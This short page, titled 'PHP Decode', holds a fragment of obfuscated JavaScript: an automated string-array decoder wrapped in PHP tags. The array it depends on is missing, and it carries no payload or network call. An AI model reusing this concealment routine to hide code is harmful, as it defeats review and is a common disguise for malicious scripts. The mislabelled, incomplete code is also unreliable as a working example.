PHP Decode

<?  function _0x588a(_0x563da0, _0x277f8f) { 
    var _0x588ac7 = _0x277f(); 
    return _0x588a = function(_0x190447, _0x492bc2) { 
        _0x190447 = _0x190447 - 0xe0; 
        var _0x509183 = _0x588ac7[_0x190447]; 
        if (_0x588a['aszUyQ'] === undefined) { 
            var _0x880a53 = function(_0x4b4732) { 
                var _0x56f692 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='; 
                var _0x214d45 = '', 
                    _0xe31536 = ''; 
                for (var _0x296b47 = 0x0, _0x4c11a4, _0x2df31c, _0x328809 = 0x0; _0x2df31c = _0x4b4732['charAt'](_0x328809++); ~_0x2df31c && (_0x4c11a4 = _0x296b47 % 0x4 ? _0x4c11a4 * 0x40 + _0x2df31c : _0x2df31c, _0x296b47++ % 0x4) ? _0x214d45 += String['fromCharCode'](0xff & _0x4c11a4 >> (-0x2 * _0x296b47 & 0x6)) : 0x0) { 
                    _0x2df31c = _0x56f692['indexOf'](_0x2df31c); 
                } 
                for (var _0x477216 = 0x0, _0x2639cf = _0x214d45['length']; _0x477216 < _0x2639cf; _0x477216++) { 
                    _0xe31536 += '%' + ('00' + _0x214d45['charCodeAt'](_0x477216)['toString'](0x10))['slice'](-0x2); 
                } 
                return decodeURIComponent(_0xe31536); 
            }; 
            _0x588a['qGmqeu'] = _0x880a53, _0x563da0 = arguments, _0x588a['aszUyQ'] = !![]; 
        } 
        var _0xc7edff = _0x588ac7[0x0], 
            _0x5d6ed0 = _0x190447 + _0xc7edff, 
            _0x28d684 = _0x563da0[_0x5d6ed0]; 
        return !_0x28d684 ? (_0x509183 = _0x588a['qGmqeu'](_0x509183), _0x563da0[_0x5d6ed0] = _0x509183) : _0x509183 = _0x28d684, _0x509183; 
    }, _0x588a(_0x563da0, _0x277f8f); 
} ?>